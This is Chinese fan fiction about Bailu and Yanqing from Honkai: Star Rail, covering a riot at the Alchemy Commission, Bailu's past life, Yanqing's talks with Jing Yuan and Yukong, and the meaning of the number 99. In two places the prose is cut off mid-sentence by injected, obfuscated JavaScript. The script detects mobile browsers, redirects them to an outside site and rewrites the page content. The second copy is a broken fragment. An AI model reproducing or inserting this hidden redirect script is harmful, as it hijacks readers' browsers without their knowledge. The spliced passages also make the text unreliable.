有人继续涂鸦,更多人直接闯入丹鼎司围攻巡查的医士,云骑上前阻拦,还有人趁医士不备抱起丹鼎司堆放的物资就往外跑……现场一片混乱。 白露看明白这情况,更加恼火:“有些是普通民众……”云骑受制,这么点人没法直接镇压。 云悠抱着她往外跑:“白露小姐,我们去把沿途的云骑都叫到这边来!” “好!” 但情况很快就有了变化。 绚丽的粉蓝色亮光箭矢一般从她们头顶掠过,白露视线跟过去时,正看见亮光以近乎刁钻的角度插入人群中间,冲击力恰到好处地将两边人震开,无人受伤、却也无人敢动。 是剑。 动乱有了一瞬间的迟滞。 紧接着,以那些各据方位的剑为中心,丹鼎司地面迅速结冰,冰连着冰,眨眼间丹鼎司广场变成了一片巨大的冰场,厚厚的冰层上升腾起纯白的冷雾,人群尽数受了冰冻,被冻结到小腿以上,再跑不能。 白露被抱起没事,但云悠也被冻住了。 她紧张兮兮往下看,云悠安抚她:“无事,只是有点凉。” 从龙树到周遭的回廊都被冻住,白露抬头看,就连树叶上也显出漂亮的冰纹,整个空间的温度都降下去了。 无人可动。 有云骑隔着冷雾抬头,惊喜:“彦卿骁卫!” 白露也看向那个方向,一个少年人凭剑飘在空中,似乎与云同高,说话之间就从剑上跳下去,稳稳落在喊他的云骑眼前: “这法子用起来敌我不分,彦卿多有得罪。” 几把剑抽身出来,有意识一般敲碎四周云骑腿上的冰。白露瞅着剑飘过来敲碎了云悠的冰,又转头望向那个方向。 云骑重新活动手脚:“哪里的事,若非彦卿兄弟的冰,今日这情况可难办!” 少年颔首,转头拔剑指向暴徒。 得了行动能力的云骑将闹事者尽数抓获,事情被光速解决。 “之后呢?” “会在问讯后,区分好哪些是民众,哪些是煽动民众的暴徒。民众转交地衡司处理,暴徒关入幽囚狱。” 白露认真问话,大概是因为仰头,高大的云骑不自觉带上了哄孩子的语气,“如此,龙女大人可满意呀?” 白露不喜欢别人把她当小孩子,但她准备先问完。 “民众交给地衡司之后呢?” “因为没造成什么损失……大概是罚款,还有批评教育吧,严重的就拘留一段时间再放出去。” 轻了。白露气鼓鼓:“他们闯丹鼎司的时候可嚣张得很……” “律法规定嘛,而且此事蹊跷,想来背后还有其他组织介入……”云骑说着刹住,打哈哈,“不是小孩子爱听的事情,龙女大人不知晓这些也无事。” 看来是不会跟她多说了。 白露郁闷强调:“我不是小孩子。” “是是。” 这么一折腾,天已经快黑了,有冰融化成水从树叶上滴落,正滴到她额头。 于是她又想起那几道剑光:“怎么刚才那个云骑,你就不把他当小孩呢?” 只有持明族会有老小孩,仙舟人长生则长生矣,成年之前可都是按正常速度长的。同她长期长不高相比,那个云骑分明才是货真价实的小孩啊。 “彦卿兄弟啊,自然也是小孩子。”彦卿已然押送闹事者走了,不然当着他面这话还真不好说出来。 小孩子都不喜欢被当小孩子,这是定律。 “但是他太厉害了,大家有时需得依靠他,”云骑憨憨笑,“现在想起来,彦卿兄弟年纪确实还很小呢。” 太厉害了…… 白露低头思索,无果,郁闷: 明明我也很厉害啊。 晚上,她在床上滚来滚去睡不着,云悠坐在她旁边,她就又问了这个问题。 “白露小姐是最厉害的。”云悠直接闭眼吹。 “那为什么你还把我当小孩子?” “我是照顾白露小姐的侍女,莫说现在,纵使您以后长高长大了,在云悠眼里依然是小孩子呀。” 好有道理,还有点感动。 白露刚准备起来给云悠一个抱抱,就听见外面巡夜人悄声问:“龙尊大人睡了吗?” 她迅速趴下,缩回被窝里。云悠推门出去回应,白露听见她们交谈几句,就看见回身,做了个“明天见”的手势,站到屋外。 这是常有的事,她不止有云悠一个侍女。 白露装睡,她装睡很熟练,练出来的。 另一位侍女走进屋子,似乎停在床边看了会儿她的状态,而后静静熄了灯,退出屋子,同云悠一块儿离开了。 云悠偏向丹鼎司,这位侍女大概偏向龙师。她知道持明内部有些政治斗争,鳞渊境刺杀一行后,两边各给她塞一些侍女,拉扯制衡,提防人对她下手。 如此一来,似乎谁都变得不可信任,她还是对原本就在照顾她的云悠最熟悉。 白露摸黑在床上继续滚来滚去。很多人关心她的睡眠,希望她能从梦境中获取祖先的启示,成为完整的龙尊。 “你们不如直接给我打针。”说多了也烦,她有时会这样怼回去。 白露在医书里见过那个“前尘回梦针”,在未获取当事人同意的情况下完全禁用,但也有用那个想起前世记忆的。 “传承是在饮月之乱里断的吧,如果打针之后能想起我的前世,自然也能想起传承了啊。” 哦对,饮月之乱在七百年前,兴许她前世活得没那么长…… 那就多打几针! 用药剂量在医学里当是十分严谨的,白露烦了口头抱怨两句,却想不得这么多。 前尘回梦针。 对面龙师听了这话,往往眉眼皱成可怜的弧度——他们担不起给龙尊用针的罪责,却也找不出话来反驳她。只好无话可说,重重叹气然后离去。 白露有时觉得龙师可怜,把族群延续的希望都寄托在“梦”这种虚无缥缈的东西上,把已经过去几百年的事情天天挂在嘴边叨叨; 有时觉得自己可怜,还要配合龙师的表演,一入夜就别想外出,病人有什么紧急情况都只能让别的医士赶过去。可惜睡到昏天黑地,她就是不做梦。 做个梦就能恢复实力之类的……真有那种事情的话,我也想要啊。 哪里有只能在浅水游的龙啊! 成为完整的龙,腾云驾雾到处飞什么的,我也想要啊! 我也想要我也想要我也想要…… 白露越想越气,滚来滚去,“chua”一下龙角磕到床柱上。 疼。 她又想起白日那个会御剑的少年云骑。 白露其实早就见过彦卿。 在房顶上。 彼时丹鼎司还没有现在那么忙,她央求云悠假日带她去坐星槎玩,两人叫上一名持明侍卫,在星槎海痛痛快快飞了一圈。 她总觉得差了点什么,细细想来,应该是星槎由侍卫驾驶,她没上手,感受不太深。 侍卫笑嘻嘻,给她描述看似不可能的愿景:“等龙女大人长大了,就去开那种超高速的竞赛星槎,绝对刺激!” 好! 白露心满意足。管它可不可能呢,光听描述就够开心了。 “那么今天就先回去……” 侍卫去买喝的,回程的星槎还未开启,她百无聊赖往外一抬眼,就看见了彦卿。 红墙黑瓦和绿色广告牌间,少年人一身亮蓝格外醒目,他立于弧度弯曲的飞檐之上,手里提着一柄剑。 他要做什么? 下一刻,少年迈步、运剑,挥舞之间剑身折射着光线,亮晃晃得让人忍不住闭眼。 少年却猛地睁眼,平视前方,踩着屋脊如履平地,锋利的杀人之器在他手中如臂指使。专注之程度,似乎世上只有他一人,眼中只有这一剑。 白露眨巴眼看,她远远见着正脸了,才发现这人之前居然都是闭着眼睛的。 剑花流丽,剑招行云流水,最后一剑挥出时,破风声骤响,似乎空气也被断成两截,直到少年收剑才缓缓恢复流动。 她看不懂剑,却也觉得赏心悦目。 “好剑法!”侍卫抱着三杯奶茶回来,顺着白露视线抬头看,正见着收尾部分,出声赞叹,“少年恃险若平地,独倚长剑凌清秋!” “听闻云骑军中有一位剑术天赋世所罕见的少年骁卫,想来就是这位了。” 云悠点头接过奶茶,再递给白露一杯,笑问: “做什么上房顶练剑呢?” 远处少年不知晓他们的谈话,似乎只是临时起意,练完剑又同檐下打招呼的人笑笑,就翻身上剑,疾驰而去。 高处有风吹得少年衣袍猎猎,尾羽翻飞,远处看仅是一瞬明亮招人的蓝。 做什么上房顶练剑呢?白露也疑惑,但更有些隐隐的羡慕。 站在那个位置是什么感觉? 我不会练剑,可不可以上房顶,像他一样到处跑呢? 白露经常抬头看天。 虽然都是洞天拟造的景色,但星槎海的天明亮又开阔,与丹鼎司的天大不相同。 站在街道往上看,漫天星槎循着各自轨迹有条不紊,一眼可以看好远;坐在星槎里加入其中,风景都从眼前飞快掠过,飞得高了整个星槎海都能尽收眼底。 至于丹鼎司那个天嘛……总感觉飞高了都会被乌云包裹,什么都看不见,尽是湿哒哒的水汽。 白露暗戳戳想:早晚有一天要开星槎把那些云都撞开! 说起星槎,她就想起来,其实在鳞渊境一行后,她就隐约能做一点梦了。梦里是好高好高的地方,耳边是爽朗到近乎吵闹的笑声,整个世界亮堂堂的…… “春分觉得,那应当是龙女大人的前世。” 听完描述,比她还矮一些的持明女孩认真分析,轻轻柔柔地告诉她,一边拿自己举例,“就像春分和凌解那样。” 两个女孩待在卉萌园,园林造景的一块太湖石就能把她们挡全,没有人来打扰。 白露凑过去看春分捧起的笔记,上面是另一个持明女孩对自己来生的建议,字里行间都能看出这是一个像春分一样温柔的女孩子。 春分又轻哼起持明时调,细细的童音相当好听。 “六百余年凡尘中,如梦一场空~” 白露捧着脸听,想起自己稀少又珍贵的梦境残片。 如果在天上飞的就是她的前世—— 那感觉还不错呢! 她知道很多,但不全。 比如说,她知道自己的转生不正常,有多不正常不清楚,但像春分和凌解那样才是正常的; 比如说,她能感觉到丹恒先生、还有前次见到的伤疤很多的病人、没有脉象的病人都和自己、或者说自己的前世有关联,但不知道是什么关联。 丹鼎司的阴云不会解答她的问题。 “龙女大人不要知道比较好。” 彦卿当时也在场,此时又带着任务来丹鼎司,正好被她逮到。少年骁卫蹲下认真听了问题,却只给了这样一句话。 “跟我有关的事情,我为什么不能知道?”白露的失望溢于言表,“我还以为我们俩是一边的。”结果你也变成无趣的大人了! “一边的?”彦卿歪头。 白露扁嘴:“我们明明知道很多,但总被人当作小孩子,不是吗?” “……你是小孩子,我不是。” 白露觉得孩子就是爱嘴硬:“是你是,我不是。”我比你大! “如果你是小孩子,那我可能是大人,可能是小孩;但如果我是小孩子,我比你大,你肯定是小孩子。” 好有道理,无法反驳。 彦卿捂额头,决定不跟龙女争这个了。 “那我们就还是一边的!告诉我吧!”龙女大人表示自己不计前嫌,身周放出blingbling的光芒:快告诉我告诉我告诉我…… 少年叹了口气,蹲着抬头,视线与她平齐: “恕彦卿武断,只是从彦卿获知的信息看来,那些事情确与龙女无关。” 彦卿知道的比白露多,但依然不全,至多是在押送镜流那一路上多听了些往事,旁的都要靠猜。 他押送罗刹离开再返回显龙大雩殿时,正见着那两个人对砍,石块乱飞,将军和丹恒先生各据方位,一言不发。 然后他就听全了刃的那番话。 将军要他忘掉。 太冲击了,彦卿叹气,您这是强人所难:“彦卿只能保证不说出去。” 将军也叹气:“把那种事情都记着了,要变得笑不出来的。” 那不至于。 后来出于好奇,他去资料库查找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332674|199178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五人中的最后一人: 《涯海星槎胜览》的著者、幸运值说不清高低的飞行士、将军他们的朋友——白珩。 听描述是个挺开朗的人…… 然后他就看到了白珩的照片。 啊这。 他得吧得吧就去找准备午睡的将军,举起屏幕上的照片给人看,憋了憋,问出一句: “白珩大人,与龙女很是相似……” 将军瞌睡都被他搅了,眼睛微睁,看着那张照片笑笑。 彦卿接着问完:“……这是为何?” “与饮月之乱有关,”少年人的好奇心果然不是能管住的东西。景元摇摇头,“你知道这一点便足够。” “彦卿,这已经是七百年前的事了,与你无关,莫要再掺和。” “……彦卿知晓。” 知道归知道。 “白珩大人的照片,如此轻易就能被找到吗?”他还是按不住。 “倘若有人因长相将白珩大人和龙女联想起来……”就像他一样。 彦卿认识白露,同罗浮许多人一样,他知晓这位以医术闻名的龙尊,只是没说过话,上次见到还是在广告上。 相似度实在太高了。 金人巷的饭店都要拿白露当活招牌,曜青人见了她真不会认出来吗? 如果真的认出来了,白露大人该如何是好? 将军看着倒很轻松:“曜青故去的飞行士,和罗浮现任持明龙尊,相差甚远,如何联想得到?” “可彦卿就想到了……” 少年人关心则乱。景元摊手:“你是神策府的侍卫,你能看到档案,寻常人却是看不到的。” 对哦。 彦卿撑下巴思忖:以他的权限,还看不了饮月之乱的细节,但是能看到白珩的档案……这俩分级果然不一样…… “更何况,”将军话还没说完,“当年之事,已有定论,知情者认可了最终的处理结果;后来人未曾亲历,纵是见到相似的长相,也难联想。” 确实。彦卿边听边点头。 “云上五骁又各有际遇,这是七百年来唯一一次再会。” 将军笑眯眯,一件一件给他捋思路:“知道余下四人都去找过龙女……” 见过几人聚首、旁听了一堆少儿不宜的事情、清楚白露白珩的具体长相,脑子转得很快能瞬间联想起来,却又并非亲历者或事件利益相关者的……只有一个人呀。 是谁呢?这个人是谁呢?哎呀,好难猜呀。 彦卿:…… 他沉默片刻,颤颤巍巍抬手,指自己。怀疑人生的样子惹得景元忍不住笑出声: “所以就说让你忘掉嘛,哈哈。” 您还“哈哈”? 彦卿只得接受自己如今背着一个大秘密的事实,也接受了自己的出任务百分百遇事率。同僚管这个叫“主角光环”,给他巴拉巴拉半天解释设定,他一知半解。 “总之呢,主角!就是能背负起一切往前走的人!” 噢噢噢! 这个帅,彦卿懂了。 回到眼下。面对白露大人的问题……说是不可能说的,说了不过是徒增烦忧,更何况他还有一大半也要靠猜。 “倘若有人因一己私欲想要牵扯您入局,那绝对是不公平的。” “即便现在是您自己想知道……”他纠结一会儿,干脆说,“彦卿也只好做一回哑巴!” 白露不死心,伸手掐指,在他眼前比划:“一点点都不能说?” “一点点都不能说!” “那,”白露放弃了,退而求次换了个问题,“我前世是什么样的人?”你别说这个也不行哦! 这个可以是可以,只不过……“彦卿未曾见过那位大人。” 啊对。 你是小孩子,没见过七百年前的人。白露表示理解。 彦卿拧眉思考,打开玉兆在网上查找《涯海星槎胜览》,白露凑过来看,被彦卿暂时躲开。 “……干嘛呀,不是要给我看的吗?” “稍微等等。” 这本书与丰饶战争无关,与饮月之乱也无关,只是曜青传奇飞行士的游记,在仙舟上也属于全年龄可读物。 他挑挑拣拣,掩去标题和作者姓名、掩去白珩提到的狐人特征——白露大人要是问起自己前世怎么是只狐狸就糟糕了、再掩去危险爆炸孩童请勿模仿的场面描写…… 最后呈现在白露面前的就是一大堆马赛克。 不是吧—— 白露气鼓鼓,被迫跳着段读,没一会儿就把剩下那些读完了,意犹未尽。 “真的不能去掉吗?”她指马赛克。 “不能。”彦卿表示您体谅体谅我。 他看白露低头思考一会儿,重新抬头时满脸严肃:“我觉得,不太对。” 哪里不对? “你过来,我跟你说。” 他还蹲着,依言凑近些,白露声音压低,更像在说悄悄话。 “按照这上面说的,我应该是正常体型,但是在梦里,我明明是很大的!” 她没跟多少人说过自己梦境的事,知道的人不超过一掌之数,如今还要加上彦卿——她也不知道自己怎么就这么放心跟彦卿说了。 彦卿:“是因为飞在空中?”从上空往下看,目之所及的东西都变小了,才觉得自己变大了吧。 白露还是觉得不对:“不是有参照的大,是体感上自己就是很高、很大!” 这算什么?持明的特殊感应? 彦卿觉得,自己有理由怀疑白露大人是因为长期长不高才做这样的梦,但他还是应下白露保守梦境秘密的要求,晃晃脑袋: “前世与您应当已无关系了。”大不大的也无所谓。 彦卿心有猜测后,龙女在他眼里还是龙女,龙女一直都是龙女。正如将军所说,那已经是七百年前的事了。 持明族有轮回转世,却未曾听闻过重返前世的。之前见到的丹恒先生,也相当不愿提及自己的前世,一心往前走。单纯好奇很正常,一直把心思挂在这上面却说不上好。 彦卿也有持明族的战友,他们在战场上重伤后变回一颗卵,等待本族的护珠人接引回古海。知道那颗卵意味着什么后,彦卿便从中获得了一些安慰。 这安慰是因为什么?想要再见到他,一起并肩作战?好像没有这样深的感情。 只是比起象征入灭的鲜红血迹、象征魔阴的银杏叶,一颗象征来生的蛋确实要让人高兴得多,光是存在就能让人获得慰藉。 只是高兴而已。 “白露大人的降生,定然也是一件令人高兴的事情。” “但您不需要为旁人的情绪负责。”人生只属于自己,你的每一世都独一无二。这也是彦卿对持明战友的想法。 持明一世寿数不过六七百,仙舟人上了年纪魔阴便不可控,与其把时间放在早已过去的前世上,不若思考眼下要做什么呢。 “至于旁的,彦卿也说不了什么了。” 白露定定看了他许久,哼哼笑:“看来你也不是什么都知道嘛。” “彦卿对持明确实知之甚少。”他老实答。 ??白露回身看看丹鼎司,地衡司的勤务忙着重新刷墙,在涂鸦上书写“工作就是狗*”,力道之大,似乎刷出了些乐趣。 ??墙面比起过去老旧的样子,简直可说上崭新,又白又亮,只反射了微弱的太阳光,依然晃得人眼睛疼。 ??像亮堂堂的云彩。 “那,”小龙尊突然重新转身,看向还在等她说话的人,叉起腰,“等我以后知道更多了……” ??“……就来告诉你。” 她认真强调:“你要记得听我说呀!” 少年剑士眨眨眼,应了:“好。” 10. 【彦卿】亲爱的小孩九十九分 ◆ “彦卿少侠,可是此剑尚有瑕疵?” 彦卿闷不吭声思考,听到问话才发现自己太久没出声,连忙抬头回:“绝非如此!”百冶的标识他还是认得的。 “只是,停云姑娘已送了彦卿许多礼物,彦卿也想回报一二,”少年向来不是能藏住事的性子,当事人在眼前,他就直接问了,“停云姑娘可有喜欢的物件?彦卿定会尽力寻来。” 哦? 能言善辩的狐人女子以扇掩面,碧眼微睁显出惊讶,而后弯眉眯眼,摇摇扇子温和笑了。 驭空大人在射箭。 彦卿停下来,站在校场外看,没有出声。 狐人善射,据说驭空大人年轻时也是个中翘楚,是远近闻名的王牌飞行士,星槎操作和空中射击都是一把好手。 但是上次他来时,驭空大人同样是面对皮侯,却…… 场中人放下弓,转向他,隔着不远的距离静静凝视,浅紫的眸子平静无波。 依然没有射出吗。 彦卿低头行礼:“驭空司舵。” “嗯。” 对方轻轻应了声,而后又是短暂的沉默,才问起:“你要去塔拉萨?” 彦卿不意外驭空大人知道,此事本就由对方全程跟进,他递交的申请想来对方能轻松看到。 关于,停云姑娘。 “是。” 仙舟平稳重建后,大家将那些混乱中少有人注意到的信息重新整合,案子就有了新进展: 停云姑娘在时,曾代表鸣火商会与塔拉萨渊主达成协议,将当地特产灯鱼引入鳞渊境,交由喜水的持明养护使其体型翻倍(注1); 在药王秘传使用的药物药方中,同时出现了持明波月古海和塔拉萨的特产(注2); 而罗浮封锁当天,流云渡口就停着一架来自塔拉萨的运货船,所运货物又正是灯鱼……那段记录甚至还是彦卿发现的(注3)。 如此多的巧合,叫人无法不在意。 他原本疑惑幻胧为何挑停云姑娘下手:天舶司接渡使一天要见许多人,暴露的可能很大。如今看,或许是停云姑娘无意卷入了这三方的阴谋。 下一步调查,无非从持明或塔拉萨入手,但持明那边……不提也罢。 为避免打草惊蛇,仙舟预备派少量精锐前往调查,彦卿主动提交了申请。 “我不赞同你去。”驭空的语调依旧平淡,似乎没有转圜的余地。 但彦卿同样不打算回头,他挺直背脊:“您不赞同,我也还是会去的。” 那双浅紫色眼睛瞧着他,依然平静,似乎并不意外,只是示意他进校场来,指指墙上挂着的备用弓弦: “来射箭。” 彦卿过去也在驭空的视线下射过箭。 彼时他来天舶司登门拜访,正撞见驭空射箭,装备完整,却只是静静看着皮侯,转头对他说话时是和现在相同的语气:“来射箭。” 彦卿剑胎武骨,喜剑也擅剑,用弓箭的时间少,但并非完全不懂。 长辈叫他,他就兴冲冲过来,弯弓搭箭,最后十有九中。少年人看着皮侯上的痕迹不免得意,也顾不上熟不熟,转头仰脸就眼睛亮亮跟大人讨夸奖。 驭空司舵夸他:“厉害。” 他高兴了,呆毛高高翘起转来转去。 但紧接着是似乎无关的话题:“你已去过战场,感受如何?” 啊。 彦卿确实不久前才去过战场,那是他第一次上战场,首战告捷,巨大的防风器兽被他一剑斩首,隔着器兽头和身子间的空隙,他看见云骑同袍们或喜或惊的脸。 感受如何,嗯——彦卿闭眼抱臂思考: 敌人都挺弱的,唯有首领勉强可看,他于万军之中取敌将首级,云骑军大获全胜,很有成就感……还有别的吗? 有。 是什么? 不知道。 彦卿抓抓脑袋,他想不出来,但总觉得要是就这样给驭空大人答了,怕不是要被打零分。 于是又是长长一段沉默。 1. 「空间站有一把定分枪,能给范围内的物体打分。彦卿是99分哦。」 只差一分就一百了,彦卿提问时不由困惑,还有点不甘心,「敢问老师,九十九作何解?」 「99可是好数字啊!」云游四方的开拓者托着下巴,闭眼自信,「谐音作‘久久’,取长久之意,长长久久地活着,长长久久地和大家在一起。」 「长长久久地开拓,永无止境!」开拓者叉腰,「帅吧!」 「帅!」彦卿点头应,不过,「彦卿不是无名客。」 「哎呀,“长久”的寓意是一样的嘛!」 99,久久。 老师给他报数字的时候,说是长长久久,极好的寓意。他后来想,这份长久若能分给别人,自然是更好。 虽说最终并没有做到。 2. 他初知分数时觉得新鲜,向许多人询问过九十九的含义。 西衍先生说是“九九归一”——一为本,九为极,意指修炼到极致就会返璞归真,臻至更高境界,也就是由“九十九”来到新的“一”; 小黑眼镜闪着睿智的光:“彦卿骁卫天纵奇才,一朝顿悟,日后修行也必将畅通无阻。” 若月老板说“奇为阳,偶为阴”,九在奇数中最大,是一个至阳之数,“九五之尊”一词,便是以九指代至高无上的权力地位;九又是龙形,意指神圣吉祥、身份尊贵。 卜者隐于帘后话中带笑:“哎呀,虽然不明来头,但想来阁下日后必登高位呀。” 云骑同袍说是“九九重阳节”,“阳”指阳寿,“九九”指长命,重阳节是与家人团聚、哀悼亡者、登高望远的节日。 “又叫‘老人节’,祝愿老人阳寿绵长,”同袍边比划边跟他说,“现在小孩不知道这个?” 你才小孩。 彦卿不大乐意地撑起下巴应了声:“我知道。” “反正你是仙舟的小孩子,”同袍没有任何在雷区蹦迪的自觉,还顺手薅了一把他脑袋,“还有好久好久可以活呢!” 大家说的似乎都没错,九十九确实是个好数字。 彦卿那时为了得到答案,揣着袋巡镝散财童子一样从街头发到街尾,最后收了一堆祝福,还有好些零零碎碎的小玩意儿。 他往常不乐意被当小孩子哄,这么一圈下来却也被夸得面红耳赤,回家后便小心珍视地将礼物妥善放好,时不时拿出来看,回想别人对自己说过的话。 于是连带着更早以前停云姑娘的部分,也记得格外清楚: “我什么都不缺呀~”狐人女子笑语盈盈,“若有中意的物件,我自己挑选岂不是更合心意?或者……彦卿少侠除剑术外,还擅长给女子挑选钗环首饰?” 不不不他不擅长! 彦卿卡壳,硬着头皮答:“彦卿会、挑剑衣?”这算吗? 好吧果然不算。 停云轻笑出声,笑得他正窘迫时,对方弯腰提议:“过不久,小女子就要再度出使,彦卿少侠是被仙舟祝福的孩子,不若分两句祝福给我?” 彦卿一怔。 3. “所以,你要去查停云小姐的案子?” 白露坐在凳子上晃晃腿,有些心不在焉。 停云还在时是她这儿的常客,说是出使辛苦,身上哪哪儿都痛,一定要龙女大人按摩才能好。一来二去的,她们就熟了。 谁知道会发生那样的事,现在连你都要离开了。 白露有些伤感:幻胧作乱后受令来看管她的云骑里,就彦卿年纪最小话最多,于是就算出不去,她也经常找彦卿,两个人鬼鬼祟祟缩起来吐槽大人,攒出些革命友谊…… “是,”面前少年拱手辞行,“就算彦卿离开,其他云骑也会看好白露大人的。” 这个就可以不用提了啊!话说我就是翘个家而已,真的需要看这么严吗!我们的革命友谊呢?! 算了。白露“哼”一声,扭头:“你走呗。” 彦卿点头,老老实实道别:“白露大人保重。”转身迈步时肩膀一重,肩上飘带被人从尾部拽住了,他顺着力道回头: “你会回来的吧。” 小龙尊已从凳子上跳下来,抱着点心盒子抬头看他,瘪嘴的闷气样子看得人不由心软。 她不高兴,又很认真地重复:“你要回来啊。” 和龙女混熟后,彦卿自然也向她问过“九十九”的问题。 “九呢,为至大之数,至阳之数……” 衔药龙女伸出小手在他眼前晃晃,闭眼炫耀自己的医书储备,虽说这回答似乎与医道无关,“你应该听说过‘数九’的歌谣吧。” 一九二九不出手, 三九四九冰上走, 五九六九沿河看柳, 七九河开, □□燕来。 九九加一九,耕牛遍地走。 “转眼消寒过九九,春光又到艳阳天。” “至阳之数”的积累意味着阴气的日益消减,从冬至开始数,历时近三月,到第九个“九天”时,寒去暖来、万物复苏,“春已深矣”。 你要回来啊。 当然。 “我是燕子嘛。”彦卿蹲下,左袖上的三只银燕子依然闪亮。 少年托住下巴笑着对人保证:“您说过的,燕子到时间了一定会回来。” 他这一说白露就想起来了,眼睛一亮: “□□燕来!” “对,□□燕来。” 白露脑子转得飞快: “八九七十二、两个半月!两个半月你就该回来了吧!” 彦卿没说话,只看着她。 “好吧,我知道不太可能。”她丧气低头。 少年却揉揉她脑袋,笑得没心没肺:“放心啦,虽然时间说不准,但只要我还活着,就一定会回来,而且要把停云姑娘一起带回来!” “你这家伙……”白露低头揉眼睛,不看他,“话说太满很容易被打脸的啦笨蛋!” ◆ 分祝福? 彦卿琢磨这话的意思。 他身世不明,顶着一头金发在仙舟,却领受诸多善意成长到现在,说是“被祝福的孩子”也不错。 只是,两句祝福语怎么能算礼物?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332675|199178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 必是不算的,更像是停云姑娘给他开的话头递了个巧妙的台阶,但他不想要台阶。 他抬眼,狐人女子依然笑盈盈看着他,温和又亲近。 什么都不缺,反过来就是送什么都没差咯。彦卿盘算着自己先挑,等停云姑娘回来直接送给她,眼下先给祝福。 少年骁卫行了一个告别礼: “祝停云姑娘出使一切顺利,早日平安归来!” 可后来以她形貌踏上仙舟甲板的,似她却非她,终是伪物罢了。 4. “九十九”在不同人眼中拥有不同的意义,但奇异的是,他没有听过一句坏话。虽然可能和他那袋巡镝有关。 「彦卿少侠是被仙舟祝福的孩子,不若分两句祝福给我?」 停云姑娘明明是那么好的人,却要经受这种祸。 他也问过驭空“九十九”的问题,回答是:战场上“失之毫厘,谬以千里”,他应该注意缺失的那个“一”,不可因大意丧命。 此时正是午时大太阳。 彦卿听话进了校场,挽弓搭箭,射了九箭都正中红心,驭空喊停,夸他“厉害”。 离他上回在这里射箭已过去许久,彦卿也经历了许多,只放下弓抬头笑笑:“想来比之驭空司舵还差得远。” 驭空不置可否,问起别的: “你报名参与调查塔拉萨的理由?” “此案牵涉颇广,幕后主使迟迟不露面,只会让更多人受害。” 彦卿寻思申请上写得挺清楚了,然而长辈发问,不好不答。 “彦卿凭借剑术或也可称云骑精锐,没有后退的道理。” 驭空没出声。 他心下一沉,咬牙直说:“停云姑娘还在时,彦卿受到她诸多照顾,哪怕纯以私心论,也希望能寻得她的下落……” 而后,听见头顶一声轻轻的叹气声,他停住,抬头看。 严肃的司舵大人难得目光柔和:“私心,不错的理由。” 柔和,又像是终于安心一样的放松。彦卿惊觉眼前的长辈似乎一直很担心自己,可是,担心什么呢?又为什么安心了? “战场非儿戏,”驭空没等他问,“事实上,我一直不赞成将军送你上战场。” 彦卿面有不忿,张口要说话。 驭空也没等他答:“保护仙舟、抗击丰饶,这是云骑共同的理由。” “但除这些外,你还需要自己的理由。” 少年心思纯澈,没有私心、没有怀疑,又因着自身天赋和所受培养,觉得上战场是天经地义、不需要理由的事情。 怎么会是不需要理由的? 所以哪怕听闻了那些堪称骇人的战绩,她也从来不赞成彦卿上战场。 ……自己的理由? 少年面上的不服气转为困惑,欲言又止,说起老生常谈的话题:“战场上瞬息万变,唯战事胜利最为重要,云骑应抛却私心杂念……”就连此次因私心想去塔拉萨参与调查,彦卿都有些心虚。 “那不是私心杂念,”驭空慢慢摇头,“那是支撑你在世间行走的力量。” 私心并非可耻之物,云骑的私心融在仙舟的命运里,最后赢来的才是我们共同的胜利。 你的年纪还太小,所经历的一切,不足以引导你找到自己的理由。 “你确实是天生的一把剑,”驭空摸摸少年的脑袋,声音很轻。摸到一手小孩细软的头发:可又不只是剑。 “剑之为物,不是血染战场,便是剑折锋摧的结局。” 因此,出剑的理由格外重要。在找到之前,大可以放慢脚步好好长大,不必着急去战场那种地方…… 好像听懂了,好像没听懂。 以驭空司舵的情况看:和停云姑娘共事多年,为寻找停云姑娘重返天空,是“私心”;而王牌飞行士回归,给大家带来更多胜的可能,是“融入仙舟命运”。 彦卿琢磨着,还是不确定自己是否听懂了。 但至少他听得出善意。少年细细咀嚼这些话语,顶着手掌仰头看,正对上那双沉静的紫色眼睛,不闪不避: “彦卿无意冒犯长辈,但驭空司舵,您当真要用这般心态重回天空吗?” 一个剑客的光芒与生命,往往就在他手里握着的剑上。 “即便剑折锋摧,它也已爆发出自己应有的光华了。” 驭空敛眸。 驭空:你根本就没听懂。 彦卿:咳咳。 罢了。 驭空瞧着东看西看假装自己很忙的少年,心下无奈:反正此次只是调查,反正他也渐渐开始寻找自己的理由了。 彦卿结束尴尬的乱看过程,拿起弓射出第十箭。驭空看过去,箭尖在大太阳底下闪着锋利的寒光,一往无前,最后依然正中红心。 少年放下弓得意拱手:“驭空司舵,彦卿在塔拉萨等您来!” 驭空:小孩子就是容易得意忘形呢。 她哭笑不得摇摇头:“那就去吧。” “记得,九十九……” 彦卿已经跑远了,跑得老远居然还能听见,边跑边大力招手:“好——您、别、担、心!彦卿记住了!” 11. 【巡猎彦卿】你是奔向春野的风 人间不过一电灭,从来无命是英雄(注1)。 我见过你。 你是宇宙。 “建木可是赐福的象征,那群老东西恨不得拿命护……哈,说错了,想来大难临头还是命最重要、你想干嘛?” 你从同伴身边走过,一人站在最前方。 “喂——” 你很直,不太会说话,也不擅长解释。 我知道你想做什么。 “射穿它。” 暴烈的能量自你的箭尖爆发,紫色流光映照同伴煞白的脸,一往无前冲向罗浮正中心,照亮一整片宇宙。 丰饶神树、不死神实……这些与我无关,我只知道那一箭尚未完成,有些可惜。 